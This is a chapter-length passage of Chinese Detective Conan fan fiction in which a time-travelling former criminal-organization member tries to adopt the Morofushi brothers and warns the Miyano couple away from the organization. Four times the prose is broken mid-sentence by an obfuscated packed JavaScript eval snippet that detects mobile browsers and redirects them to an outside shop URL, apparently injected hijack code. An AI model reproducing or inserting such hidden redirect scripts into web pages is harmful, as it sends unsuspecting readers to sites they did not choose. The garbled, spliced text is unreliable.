凭借过去的记忆，流川玄奈稍加休息后，就在公共电话亭里联系上了组织里一位负责交易任务，情报工作的元老，他向来经营着伪造证件这类业务线。流川玄奈谨慎地报了个还健在的酒名代号作为自己得知对方的理由，交易成功开始。 这之后一番转介，她谨慎地额外联系了其他几位中间人，实在是繁琐。看着对面灯光闪烁、男男女女进出的爱情旅馆，流川玄奈不得不在弥漫着烟味的公共电话亭干耗着，秋风夜里冷得很，近一个小时后，她才终于与长野县某个地头蛇家族的成员搭上线，报价令人咋舌，但胜在路径隐蔽，可靠。 她的要求也很明确，速度优先，次日一早，虎田家族的家丁在约定的地点将一只薄薄的牛皮纸袋交给了她，里面有一张制作精美，属于流川玄奈的外国人登录证、对应国籍的护照复印件、伪造的海外资产证明、以及顺路帮她买的寻呼机。 退房前，流川玄奈仔细清点了全部身家，琴酒的箱子（破损版），两版APTX4869，还有钱包。这个钱包装着十六年后的驾照、钥匙、与这个时代格格不入的磁卡、以及和苏格兰的合照。 随后，在确认自己的信息已被顺利录入警方系统后，流川玄奈前往警视厅，补充登记了关于外守一案件的细节。整个过程出乎意料地顺利。 “护照……没事，有外国人登录证就可以了，”高个子的目暮十三将证件还给她，粗犷的脸笑着，已经有未来那个和善胖大叔的影子，“这个可不能弄丢了。” “是啊，”旁边另一位年轻警察凑过来，压低了些声音补充道，“最近那起连环凶杀案，似乎专门针对独居、行踪不太固定的外国人。流川小姐一定要多留心。” 目暮十三闻言也郑重地点了点头：“嗯，我家边上的卡带店也因此被砸掉了，不过——流川小姐的面孔说是日本人也没问题，不用太担心。” “非常感谢你们的提醒，我会小心的。” 连环杀人案件，似乎哪个时代的日本都被这些案件笼罩。引起她关注的，反倒是卡带店被砸的信息，对了，接下来是实体经济的黄金期，她确实记得有些卡带的价格会攀升至令人咋舌的地步。 是啊，在这个时代，她想要利用信息差赚钱的途径相当多。经营还未盛行的灰色产业，用未来的作弊手段驰骋赌场，抄袭注定风靡的作品创意。取之不尽的金银财宝似乎就在眼前。 赚钱应该比她想象中还容易……流川玄奈从富过乌丸莲耶的美梦中回过神——她选择使用那个药，穿越到这个时间点，并不是要来靠着未来的事赚钱的。 琴酒‘给’的钱已经足够了。 她穿越的目的，只是为了苏格兰、诸伏景光而已。 不过，她或许可以在这个时代重操旧业，这么想着，她看向目暮警官，诚恳地开口：“目暮警官，这类牵涉外国人的案件，警视厅需要翻译协助的话，我可以胜任的。英语和基础的德语都没问题！” 目暮十三闻言，明显愣了一下，随即用力地一拍手：“这次暂时不需要，不过，流川小姐愿意的话，真是帮大忙了！” 旁边的年轻警察也眼睛一亮：“是啊，流川小姐，不瞒你说，这两年各种涉外事件真是越来越多，厅里懂外语的同僚，负责的人员根本忙不过来。上次那个丢了钱包的英国游客来报案，我们几个连比划带猜，就差用画画了，折腾了快一个小时才把基本情况弄清楚！” 目暮十三也同他调侃：“要是有流川小姐这种货真价实的外国人在，估计十分钟就能搞定了。” “您言重了。能帮上忙就好。”流川玄奈再次欠身，接着清晰地报出了一串数字，那是她的寻呼机号码。“有需要时，请随时联系这个号码。我会尽快赶到的。” 走出警视厅，正午的阳光有些刺眼，将米花町的街道照得白晃晃的。流川玄奈随着下班的人流拐进附近一家大型百货商店。 空气里混杂着化妆品柜台飘来的脂粉香，和餐饮店的烘焙甜味交织着。流川玄奈目标明确，她在各种店员的推荐下爽快地消费一番。离开时，她已换上了一身剪裁得体的浅蓝色修身西装套装，手里多了一个轻便的拉杆箱。 相比于之前的黑色工作装，这抹浅蓝恰到好处地中和了她五官的锐利，那股生人勿近感衰退了不少，连气质都明亮了几分，像是融入了这个泛着暖光的时代一样。 搭乘急行列车，流川玄奈在晚饭前抵达长野县，并且按着地址见到了收养诸伏高明的人家。 和东京收养景光的那一家人相比，收养诸伏高明的这家家庭条件要拮据多了。旧式木造长屋位于街区角落，门前停着一辆有些年头的自行车。 流川玄奈将备好的礼物，一盒包装雅致的点心和一篮当季水果取出，刚在门前站定，一位衣着朴素、面容慈和的年长妇人便拉开了门。 “是流川小姐吧？听高明说过您会来，没想到这么快，快请进。” 她虽然有所怀疑，但仍维持着面上的礼貌，邀请流川玄奈进入屋内，一同在略显泛黄却洁净的榻榻米上坐下。 “我是高明母亲的姐妹，叫我月见就行，听高明说，流川小姐是他父亲的熟人？” 月见环子端来一杯热气袅袅的煎茶，认真看着流川玄奈。 这样的目光——流川玄奈擅长扮演豪门的亲戚，周旋在巨额遗产旁，对诸伏家这种普通人家下手还是头一次。那些豪门突然冒出私生子是习以为常的，但诸伏家不是，不然也不会被外守一残忍杀害……总之，这次行动和以往任何一次都不同。 不是为了组织的利益，而是为了苏格兰。 她微微点头，专注地答道：“是的，更准确地说，我和高明的祖父有关。高明的大叔父，也就是高明祖父的弟弟曾作为教师被派遣到欧洲，与当地一位女性陷入热恋，但因文化差异、家族压力不得不分手。我是那个女人的孩子。” 察觉到月见环子的怔愣，流川玄奈立刻安抚：“请放心，我的生活相当宽裕，家很有钱，对诸伏家的财产没有丝毫念头。珪郎夫妇（高明的父母）根据我父亲留下的遗物联系上我，我们也见过，他们提过关于两个孩子的事情……他们是很好的一对父母。” 月见环子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199224|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默着，二十多年前，高明的这位大叔父确实被派到欧洲去，回来后没多久就因为凶杀案不幸离世，这在他们这带是很容易打听到的事情。 她再抬眼，看到流川玄奈递来的照片，确实和记忆中的诸伏珪郎相似，不由得感慨：“原来……还有这样一段往事。” 这仍然太突然。一个突然冒出来的外国亲戚，图什么呢？诸伏家的遗产早就约定好给两个孩子，看流川玄奈的打扮谈吐，难道真的是纯粹的好意？ “是。我是近期才安定下来，打算移居日本。没想到珪郎夫妇经历了那样的事情……我希望能将高明和景光一起收养，让他们至少能陪在彼此身边。 今天冒昧拜访，是想先向您表明我的意愿和诚意。目前我正在找寻稳定的工作，等一切安顿妥当，我会正式向家庭裁判所提交收养申请” 月见环子有些为难：“这……我们也抚养高明四年了。孩子在这里习惯了，在长野也有不少朋友。而且，高明他再过几年也就成年了……” “我明白，”流川玄奈立刻接道，“我会尊重他的意见，我也只是希望他们兄弟可以团聚。这几年，实在辛苦您和您家人了。这是一点微薄的心意。” 月见环子把装着钱的纸袋子推了回去：“这笔钱我们不能收，高明是一个非常省心、很有主见的孩子，从来没给我们添过大麻烦。” 流川玄奈接过纸袋，转而问道：“我现在可以见高明吗？” 月见环子一怔，脸上闪过被看穿心思的尴尬，忙解释道：“当然，当然可以。他放学后通常就在家里看书，我这就去叫他。” “没关系的，您对我心存疑虑，想要保护他，是人之常情。” 见流川玄奈善解人意，月见环子紧绷的神色松动了些许，点了点头，转身朝里屋走去。片刻后，流川玄奈再次见到那个白皙俊秀的男高中生。 房间被特意留给他们两个人。 除了复述同样的身世故事，流川玄奈额外解释了自己和外守一的相遇。 “我明白了，流川小姐。”诸伏高明的目光始终直视着她，他没有追问那些谎话，而是直接提问：“那么，请问您是基于什么样的理由和考量，想要收养我和景光？” “你们兄弟被迫分离，各自寄人篱下。珪郎夫妇若在天有灵，想来也会痛心。我没有生育的计划，又想要继承人，所以打算收养你们，只是这样而已。” 流川玄奈边说，边用目光巡视这间略显老旧的书房：“如果担心景光的教育、成长环境的话，你放心，我的外语水平很好，西欧——” 话音一顿，流川玄奈注意到角落，写着“高明”名字的书柜，那一排三国志之类的书极为显眼，她不由得有些感慨：“高明君喜欢历史吗？我在这方面还挺了解的。” 诸伏高明闻言抬起眼帘，态度谦和：“所谓，耳不两听而聪。流川小姐在欧洲长大，想不到还能分心对我们这边的历史有所了解。” 流川玄奈平静地解释：“只是偶然而已，我的母亲是这方面的专家，也喜欢引经据典。 ‘欲见贤人不以其道，犹欲其入而闭之门也’，能够用这样的方式拜访名字和孔明相似的你。对我来说很有意思。” “那我还真是，感到荣幸。” 诸伏高明微微笑着的样子，再加上这句话——流川玄奈有些恍惚，这个场景—— 未来记忆的碎片在脑海中浮现，彼时的她对着组织新人，和诸伏高明长相相似，只是下颌多了些胡茬的组织新人相当不屑，冷冰冰地说了很多过分的话、不、不对，更像是恼羞成怒的斥责：“你知道我是谁吗？居然让我三顾茅庐、白费力气——” “是吗？我还真是荣幸啊。” 5. 不会重演的初见 回忆， 东京，杯户町， 作为受雇于阿德勒家族的私人侦探，流川玄奈在杯户中心酒店的一场晚宴上成功与朗姆接头。 眼前这位脸型方正、头戴考究礼帽，俨然一副上流绅士模样的男人，正是组织内代号为朗姆的核心人物。他鲜少展露真实面目，流川玄奈能直接同他会面，也是因为父母都是组织成员的关系。 “索泰尔纳，任务进展如何？” 流川玄奈微微皱眉，她并不喜欢这样在外直呼代号的作风，很不谨慎。 但碍于对方是上司，她没有说什么便开始认真地汇报：“是的，BOSS要求的那颗宝石，已确认由阿德勒家族持有，所有相关情报均已查明。老家主马库斯·冯·阿德勒上月猝然离世，按照德国律法，第一顺位继承人包括他的六个儿子四个女儿，以及……” “停，打住。哪些是你的人？” “马库斯的长女收养过一个孩子，那个养子在日本留有血脉。” 朗姆皱眉：“养子？” 流川玄奈面无表情地点头：“表面如此。实际上，那个被收养的孩子，是奥托的长孙年少时荒唐留下的私生子。为了家族颜面，才由奥诺蕾出面收养。因此，从血缘上……” “够了。”朗姆揉了揉额角，一连串拗口的外国人名和复杂的亲属关系，索泰尔纳简直是在欺负老人。 面前这位年轻下属的作风一贯冷硬死板，同她父母截然不同，朗姆对此相当无奈：“我相信你的调查。直接说现状。” “我与那位养子费利克斯，达成了协议，用组织拨的预算帮他在继承中取得优势……作为回报，他会将宝石移交给我们。” “？怎么变成正常的交易了？不像你的风格。” “是啊，太正常了，所以我把他杀了。” “？？？” 流川玄奈低头看了眼腕表，答：“是三十二分钟前的事情，毕竟不是组织的人，我不放心。” 朗姆沉默片刻，也道：“嗯，我相信你能处理好。你打算怎么办？” “按原计划推进。安排一个‘私生子’出场即可。” 朗姆摇头否决：“贝尔摩德另有任务在身。” 流川玄奈露出真心的笑容，不用和那个千面魔女合作可真是个好消息。 朗姆似乎看穿了她的心思，她还没开心多久，朗姆就提议道：“干脆从新加入的组织成员里选吧，我也想看到新的代号出现。 流川玄奈立刻拒绝：“不必了，我也有别的方案——” “就这么说定了，索尔，”朗姆打断她，语重心长道，“你总是独来独往，我和那位大人都很担心。” 流川玄奈心里叹气，懒得去猜朗姆话里用意。一旁，对方的下属凑了过来，正用平板展示着最近的新人，绿瞳长发男，黑皮金发男，她无可奈何地选了一个相对没那么猎奇的。 这件事很快被她抛到脑后。流川玄奈是组织里的忙人，同时处理着多个案件，过了一两天，她才从一个未接来电想起模糊的记忆。 真是麻烦，新人没有新人的自觉，居然还打电话找她？ 流川玄奈蹙着眉，想当她的下属没有实力就是送死。这么想着，她随意编辑着短信内容：“任务目标将于今日下午三点后出现在东京湾码头区。目标为东亚裔女性，携带一颗重要且易损的蓝色宝石……” 她把自己描述成任务目标， 她希望这位组织新人能从人群中找到她、追上她、从她手里“夺走”宝石。除了考验对方的实力，她的目的很简单，只是希望这个叫什么什么光的新人可以给她无聊的生活添点趣味。 …… 事实上，何止是一点趣味， 当天，流川玄奈在码头进行一项常规的交易任务，奈何交易对象状况百出，逼得她不得不狡兔三窟，辗转多处，终于在一个僻静的角落见到对方本人。 大概是连续工作多日的疲惫，又或者是因为她对这个交易对象了如指掌：普通文员，胆小如鼠。那样佝偻着背，不停颤抖的身影，很难不让人微微放下警惕。 突袭对她而言猝不及防，弯下的身影骤然站起，压迫感如实质般轰然爆发，下手精确地劈在流川玄奈手肘的麻筋上，一时间连枪都抬不起来。 一时的大意，胜负瞬间决出，武器脱手，流川玄奈被逼退到角落，陷入绝对的被动——那是她出生以来自以为离死亡最近的一次。心头除了悲鸣外，各种情绪翻涌，她把葬礼的情况都预想了一遍，才注意到，面前的人迟迟没有动手。 ——他正利用身高优势，将她牢牢困在货柜的角落，一只手冷静而迅速地探入她风衣内侧，似乎是在寻找什么东西。与此同时，压低的男声贴着她耳畔响起，在流川玄奈心中，简直比琴酒还琴酒：“宝石，在哪里？” 也就是这一刻，流川玄奈才反应过来——眼前人的身份！ 毕竟，谁能想到，一个基层成员轻松完成她设下的难题，预判了她的路径，冒充她的交易对象反过来给她设套！ “Hikaru（光）！你是叫这个名字吧！” 饶是流川玄奈，这时候的第一反应也是赶紧叫停！她很少这么惊慌过。 那人只是冷冷地盯着她，手上的动作没有停止。 这个人给她的感觉，是那种连执行简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199225|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单的交易任务都会毫不犹豫杀人，以此清理障碍的家伙！ 流川玄奈急于证明自己组织成员的身份：“你知道我是谁吗？居然设了这么多套抓我，让我三顾茅庐、白费力气——” 名字是光的普通成员顿了下，冷笑道：“是吗？那我还真是，感到荣幸。这位，索泰尔纳前辈？” 他动作一顿，随即了然，快速收回手，连带着逼迫的神情与压迫感一并被收敛，取而代之的是带着疏离感的冷漠。 好神奇，作为被压制的对象，流川玄奈也不得不在心里暗自感叹，这种气势上的收放自如！这可是琴酒一辈子都做不到的事情。 正感慨着，对方突然弯腰，把枪递还给她，边递过来，还边用那种听不出任何情绪的语调说教。 “心浮气躁可是大忌。而且，”他带着无奈，补充道：“——明明是我在请求你才对吧？” …… 那是两年前，不，准确来说是十四年后，身为索泰尔纳的流川玄奈和苏格兰的初次见面……和最后一次见面完全是两样啊。 流川玄奈仔细回味着细节，终究不甚完整，干脆等会回去用笔记下来吧。至于现在，她将心神拉回，专注应对眼前的少年：“请问，高明君还有什么顾虑吗？” 诸伏高明正要开口，电话铃声响起，他了然地笑了笑：“失礼了，应该是我弟弟的电话。” 他起身离开。没人拦着，流川玄奈自然跟在诸伏高明身后，只见这位还是高中生的兄长一脸温和：“景光，我很开心你能结识新的朋友，” 他稍作停顿，语气依旧，“不过，每个月一次的通话就足够了，俗话说，过犹不及……嗯，我知道……此外，切记静以修身，俭以养德……” 电话两边一来一回，似乎才说了几句，很快便挂断了。 诸伏高明放下听筒，转过身，对上流川玄奈的目光，柳叶眉挑起，他显然有些疑惑：“流川小姐，我脸上有什么吗？” 流川玄奈没有移开视线，认真地表达：“‘过犹不及’出自《论语》，做事过分就好比做得不够一样，皆不妥当，形容事情要适得其中。‘静以修身，俭以养德。’则是诸葛武侯在《诫子书》的名言。” 诸伏高明微微颔首：“嗯，我现在相信，您确实对此有所涉猎。” 流川玄奈想说的不在于此，疑问脱口而出：“为什么，为什么不让他打电话？你们一直都是这样一个月只通话一次吗？他才十岁啊，你们一年下来能见几回—— ——《论语》《诫子书》都是教人持重守静的典训。我认为其中寄载的是对幼小最深切的关爱。高明，你心里明明也很关心他，对吧？” 6. 往返两地间 诸伏高明明显一愣，“谢谢你的意见，流川小姐， 请问，你认为‘关爱’二字，应该是什么样的呢？”他开口问道，高中生还算青涩的声音里带着真实的困惑、不、准确说是好奇。 他顿了顿，随即给出自己的想法：“比起时刻相伴，无微不至的照护，我认为，为其计之深远的规训更为重要。” 不愧是苏格兰的哥哥，一个高中生这么懂教育？！流川玄奈虽然有点发蒙，嘴上却是不假思索地给出答案：“都重要！收养你们后，这些我都会做到的！” 这过于直白的反应，反倒把诸伏高明逗笑了。他肤色本就白皙，一笑起来，两弯细长的柳叶眉梢便随之微微上扬，更像古文中带着书卷气的美少年。 “失礼了，我并不是在指责或要求您修改计划，”他收敛笑意，解释道，“我只是认为，景光目前的状况，过度的依赖与频繁的联系，反而不利于他养成独立坚强的品性。” 流川玄奈听了进去，如何反驳，一时间想不出来，她面不改色，决定继续强调自己的观点：“如果你们两个能在一起生活，就没有问题。” 她的语气相当坚定：“我有能力同时抚养你们两人，也可以提供让你们一起学习的环境。你想怎么履行兄长的责任都随你。 我只是希望那孩子可以开心一点，不要再做那些关于案件的噩梦，只是这样而已。” “……您的好意，我心领了。” 诸伏高明语气温和谦逊，他待人处事的感觉总不像是其他高中生那样毛躁，“请恕我当下无法给您答复。我会在下周和景光见面时，把最近的事情都告诉他，询问景光的意见……” 一番客套话后，流川玄奈也知道一时半会没有办法，便顺着对方的话，以天色不早为由告辞。 次日一早，流川玄奈拉着行李箱离开酒店不久，便跟着提前联系好的房产中介，开始了一天的看房之旅。 是的，她要买房！拥有稳定的住所房产，是收养审查中对经济能力的基本要求，也是她作为外国人得以在日本长期、合法居留的有力辅助。 她需要拿出比另外两家人更优越、更稳定的条件，才有可能在家庭法庭的评估中获得青睐。此外，这个时代对外国人购置不动产的审查还不算严苛，她必须抓住时机。 老旧独栋价格实惠，地段也好，但房龄太高，需要投入大量资金和精力修缮。车站旁新建的公寓设施很新，但隔音效果不好。一户建倒是哪里都好，偏偏价格太贵。环境，配置，价格，三者难以面面俱到。 不过，同样一笔预算，放在东京——流川玄奈后一天折返回东京，果然，只能找到更偏僻的地段。 此外，长期生活在东京对她来说也有点风险。 这个时空的自己，万一哪天她们两个在东京街头偶遇，谁知道会出什么意外。 因此，流川玄奈快刀斩乱麻，定下了长野市区的旧式一户建——先租一个月，等之后获得诸伏兄弟的信任，就带他们来看看，一家人都喜欢的话再用租客优先购买的权力拿下。 房子想好了，下一步是求职。事实上，流川玄奈还是第一次找工作。 大学从情报学专业毕业后，她便经由父母安排，靠着裙带关系直接进入一家家族办公室，也就是专门为超高净值家族家族提供全方位财富管理的私人机构。 她父亲作为法律继承专家，母亲则是历史学家，二人分别担任多家办公室的法律顾问和艺术品顾问。流川玄奈本人则是私人侦探，专门处理寻人、查证血缘关系等案件。报酬相当丰厚，也不算太麻烦。一家人都是如此，她那时想不通，父母为什么要冒着风险，和乌丸组织扯到一起…… 不要去想了。现在的她和那一切无关。 在东京做好决定后，流川玄奈再次来到公用电话亭。 硬币叮当落进投币口，短暂的等待音后，听筒里传来诸伏高明的声音：“流川小姐？” “高明君，长野的房子我已经初步看好了。方便的话，请代我向月见女士转达谢意，她推荐的中介……那就先这样，再见。” 流川玄奈从电话中回过神，玻璃门外，背着书包的小学生正看着她。 “又见面了，景光，”流川玄奈推开门，目光扫过他身侧，“是刚放学吗？那个金色头发的朋友呢，没在你身边吗？” 眼前的诸伏景光，与初次见面时不同，显得格外安静。他往后退一步，嘴唇咬死，低着头避开了她的视线，似乎是不知道怎么开口。 很可怜。 流川玄奈不忍心追问，蹲下身：“对了，这个还给你。” 她将先前的手帕还给诸伏景光。 诸伏景光迟疑了好一会，这才接过：“……不客气。” 看着眼前这个怯生生的孩子，流川玄奈真的很难把他和偶尔强势的苏格兰结合起来。她维持着温和的笑容：“景光，当时为什么会愿意和我说话？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199226|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 诸伏景光的嘴唇动了动，似乎想回答。就在这时，一个身影飞快地冲了过来，挡在了他身前——是降谷零。流川玄奈注意到，诸伏景光明显松了一口气，而降谷零则对她一脸不善，他又在皱着眉和诸伏景光小声交谈：“又是她，hiro……这个人真的很可疑。” 流川玄奈看到他的伤口，便也不作什么表情，低沉着脸随口道：“我都听见了，你怀疑我是最近诱拐案件的恐怖犯人 ——那，要不要和我打一架确认一下吗？” ？ ？？？ 她说的是人话？ 降谷零猛地抬起头，看着面前这个高个女人，稚嫩的脸上写满了震惊与荒谬。 “我、和你？打架？” 流川玄奈面无表情地点头。与此同时，一个穿着红色背带裤、棕色头发的小女孩气喘吁吁地跑了过来，她对着降谷零说：“你被那些坏孩子打伤了，我家的诊所就在附近，去处理一下吧！” 流川玄奈眼疾手快，起身一把拦住降谷零：“你果然喜欢打架啊。” 降谷零急着辩解：“是因为——” “嗯，”流川玄奈一脸认真地说着浅显的分析：“你的发色肤色很奇怪。” 她说话时并非有什么恶意，她自己在欧洲也经历过歧视。可惜，等流川玄奈反应过来不妥时，自己已经被降谷零狠狠瞪了一眼。 毕竟是诸伏景光的朋友，流川玄奈决定挽回对方的好感度，她再次蹲下来，作出关心的神情：“不管因为什么，伤口还是需要及时消毒的，感染就麻烦了。” 降谷零别过脸：“这点小伤，沾点口水很快就能好了。” 流川玄奈嘴角抽动，毫不掩饰的嫌弃表情瞬间挂在脸上。 降谷零：“……” 对这个奇怪女人的不喜程度增加中。 流川玄奈干脆转头，看问那个热心小女孩：“你叫什么名字，你家的诊所在哪里？” “嗯，我叫宫野明美。” 宫野，宫野诊所。 流川玄奈呼吸一滞， 不会那么巧，是她知道的那个吧？ Hell Angel， 宫野艾莲娜和她爱人，APTX4869的研发者。十六年前，这个时间点，难道那对夫妇还没有被组织招揽？！ ……这是不是意味着，她，可以抢在组织之前接近、试探、让那对夫妇为自己所用……这样的诱惑，还真是难以拒绝。 7. 秋日阴霾 …… 宫野诊所内， 穿着白大褂，戴紫框眼镜的浅金发女性正在为受伤的男孩检查伤口，那双墨绿色眼眸明明很温和，却说着剥皮血肉的话题：“就算肤色发色不一样，剥了皮后大家的血肉都是一样的……下次就这样反驳那些人吧！” 降谷零似有所悟，瞳孔闪烁，脸上又是惊讶又是感激。 流川玄奈在一旁默默看着。同样都是混血，她刚刚和降谷零的对话完全不是这个氛围！感慨着，降谷零被宫野明美带去包扎，诸伏景光也跟了过去，流川玄奈这才清了清嗓子，切入正题：“您二位，便是时常收到乌丸集团邀请的宫野夫妇吧？” 棕黑色头发、蓄着络腮胡的宫野厚司抬起头，神色带着疑问：“请问你是——” “我建议你们不要去。” 流川玄奈语气认真，脸上没有丝毫波澜，随即，她切换成英语回答对方的疑问：“我是刚刚从那个集团逃出来的人。” “逃出来？是什么意思？”宫野夫妇交换了疑惑的眼神。宫野厚司像是想到了什么：“艾莲娜，你姐姐今天也和我说了同样的话——” 碍于流川玄奈在场，两人不便细谈。流川玄奈没有离开的意思，她继续用英语说着：“我建议你们再考虑一下吧，毕竟是为了梦想，还是小心一点吧。” 宫野艾莲娜注视着她，说着同样的语言：“请问，你特意过来找我们，是知道些什么吗？” 特意？流川玄奈反应过来，这场相遇完全是偶然的巧合。而在宫野夫妇眼中，她的停顿配上那张缺乏表情、显得冷漠的面孔，就被解读成了另一种意思。 不自觉释放的压迫感。 “你，该不会是其他集团的人吧？” 流川玄奈微愣片刻，便顺势点头，接过宫野夫妇递来的剧本：“是。我目前为另一家公司工作，他们希望我能争取到二位。” 接下来，她需要编造更加诱人的条件，同时，不能太夸大，要有一定的可信度…… 也就是——画大饼！这种话术她不用构思也能编出来！Boss许诺过的福利待遇，父母描绘的研究成果，苏格兰骗她说会活下去……她见过太多，现在居然可以立刻接上话题。 “我现在在的组织是由欧洲那几个家族投资的……最近倾向于培养大胆的科学家，你们的研究方向就很……” 这个年代，英语流利成她这样的人并不多见，她透露的几个家族资料不假……各种包装下，流川玄奈看起来似乎比黑衣组织派来的普通成员要可靠多了。更何况，她把真话缝合在谎言中，现在的她确实是“刚刚从那个集团逃出来的人”。 流川玄奈观察着对方的表情，有条不紊地继续介绍。 她不想让这对夫妇进入黑衣组织。 “医生，我先回去了。下次受伤可以再……” 降谷零的声音从门口传来。流川玄奈顺势起身，对宫野夫妇微微颔首：“那么，我先带孩子们离开。一个月后我会再来拜访，二位可以慢慢考虑。” 宫野夫妇现在对她半信半疑，她又不是真的有公司，不如先到此为止。 一个月后的事情留到一个月后再想，大不了就改口，冒充黑衣组织的人，表达对宫野夫妇不感兴趣——总之就是不择手段也要阻止他们加入组织。 —— 流川玄奈没有直接回家，而是一路护送两个小孩到了街角，分岔路口下，银杏叶飘落，是十分美好的景色。 她停下脚步，想了想，还是就刚刚的事情，学着宫野艾莲娜的样子同降谷零道歉：“……我也是混血，所以，我大概能明白你的感受。” 降谷零一脸狐疑地打量着她，流川玄奈的发色和肤色都是日本人的样子，怎么看都像是新的假话……他瞥了一眼安静的诸伏景光，想到流川玄奈一开始撒的谎，更加这么认为了。 “总之，”流川玄奈当然看得出他的小心思，她深吸了口气，“谢谢你和景光成为朋友，看到他有你这样要好、可靠的朋友，我发自内心地感到高兴。” 面若冰霜的女人突然说了一大串话，还用这样的语气道谢，降谷零微微吃惊，到底还是把脸上的不满收了回去。 流川玄奈没有停顿：“上次见面，我也并没有欺骗你们。我来到东京的目的，就是想要收养景光和他的哥哥，三个人一起在长野县开始新的生活。” “诶？！？！” 她转向诸伏景光，声音不似以往那样平稳：“抱歉，景光，可以占用你一点时间吗？我一直以来都在自顾自地胡乱忙着各种事情，还没有好好问过你的意见——” 这才是流川玄奈今天见到诸伏景光，上前搭话的目的。 如果这孩子，是服下APTX4869返老还童的苏格兰，肯定会立刻支持她。但是眼前的诸伏景光只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199227|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有十岁，他不认识索泰尔纳，和流川玄奈也只有两面之缘。 他在东京有共同生活四年的亲人，也有遇到了结识不久就让他走出阴霾的降谷零。相比之下，流川玄奈只是一位凭空出现的奇怪陌生人，最多加上叔祖父的女儿，海外小姑这个假身份。 但是，对于流川玄奈来说，面前的诸伏景光和她所熟识的苏格兰是一样的。 “你父母的案子，我已经了结了。这是我自己的决定。外守一为什么这么多年逍遥法外，我也一定会追查到底，这点不管你愿不愿意被我收养，我都可以答应你。” 她顿了顿，补充道：“高明他……暂时还没有同意。但，景光你想和他一起生活的话，我一定会努力争取到的。” 抱歉，诸伏高明，用你当筹码……没办法，能有陪伴诸伏景光成长的机会，能有让诸伏景光的童年更加温暖的机会，她无论如何也不想放手。 “在长野，你们兄弟可以每天都见面，不会因为电话打得多被用谚语教育。高明君可以继续在他熟悉的学校读书。而景光你，随时都可以让养父母来长野做客，邀请零君一起去探险，那里和群马县交接的地带，山野非常广阔……” 相比起先前给宫野夫妇画的大饼，这些关于未来的憧憬，是流川玄奈反复思量过的、真心的承诺。 “当然，拒绝我也没有关系。选择你觉得能更安心，更幸福的选项。对我来说，你是我在东京最重要的人。” 最重要的人。 穿越后，她的一切行动，一切想法，都无法避免地和他有关。 她刚刚为什么会想要收揽宫野夫妇—— 原因也是苏格兰。 如果组织没有吸纳宫野夫妇，Boss一定会受影响，组织也不会膨胀成后来那个样子，苏格兰说不定就不会去做卧底。 如果没有APTX4869那样杀人不留痕迹的毒药，按组织的作风，琴酒那些干部会收敛不少，许多无辜的人也许就不会死亡，苏格兰那双温柔的眼睛里，也会少一些悲伤。 如果宫野夫妇能先一步为她所用，说不定进一步研究她穿越时服下的药物。那样一来，她也许就能知道穿越前的苏格兰是否生还，以及自己穿越后还能陪伴诸伏景光多久。 无论哪个时空都一样，苏格兰和诸伏景光，是对于现在的她最重要的存在。 “我希望你可以得到幸福。” 8. 公安警察 “我希望你可以得到幸福，以亲人的身份。我是因为你、你父亲才来到这里的。所以，” 她对眼前的小学生的回答，不敢抱有什么信心。如果被拒绝了……在这个对她而言全然陌生的时代里，见不到苏格兰的日子，不知道会不会显得格外漫长乏味？ 流川玄奈少有地将紧张外露出来，喉咙发紧，说出的话也变得磕绊：“所以，你愿意和我回长野，和高明哥哥一起生活吗？” 诸伏景光安静地听完了她的长篇大论，若有所思，随即，他很认真地点头：“我想和高明哥哥一起。” 果然，多亏了诸伏高明。流川玄奈心下稍定，她一定要把那个男高中生搞定。她正准备顺着这个话题说下去—— 诸伏景光再次开口：“我也，想和玄奈姐你一起生活。” 他的语速不快，声音不大，但每个字都很清晰：“虽然才刚认识不久，但，每次看见玄奈姐都会觉得很熟悉，呆在你身边，好像什么都变得不可怕了。” 流川玄奈微微一怔， “这样啊……” 说不清的情绪漫过心口，苏格兰也给过她同样的感受。流川玄奈轻叹，居然是这样啊。 “那就，约定了。” —— 流川玄奈跟着诸伏景光回家，正式拜访了目前收养他的周防夫妇——景光父亲的表兄嫂。 